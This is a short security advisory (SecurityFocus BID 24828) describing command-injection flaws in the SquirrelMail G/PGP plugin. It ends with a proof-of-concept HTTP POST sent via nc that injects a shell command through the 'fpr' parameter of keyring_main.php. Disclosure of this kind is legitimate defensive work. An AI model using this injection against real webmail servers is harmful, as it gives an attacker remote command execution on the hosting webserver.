source: http://www.securityfocus.com/bid/24828/info

Vulnerabilities in the SquirrelMail G/PGP encryption plugin may allow malicious webmail users to execute system commands remotely. These issues occur because the application fails to sufficiently sanitize user-supplied data.

Commands would run in the context of the webserver hosting the vulnerable software.

Reports indicate that these vulnerabilities reside in SquirrelMail G/PGP 2.0 and 2.1 and that the vendor is aware of the issues. This has not been confirmed.

No further technical details are currently available. We will update this BID as more information emerges. 

$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***&fpr= | touch /tmp/w00t | &pos=0&sort=email_name&desc=&srch=&ring=all&passphrase=&deletekey=true&deletepair=false&trust=1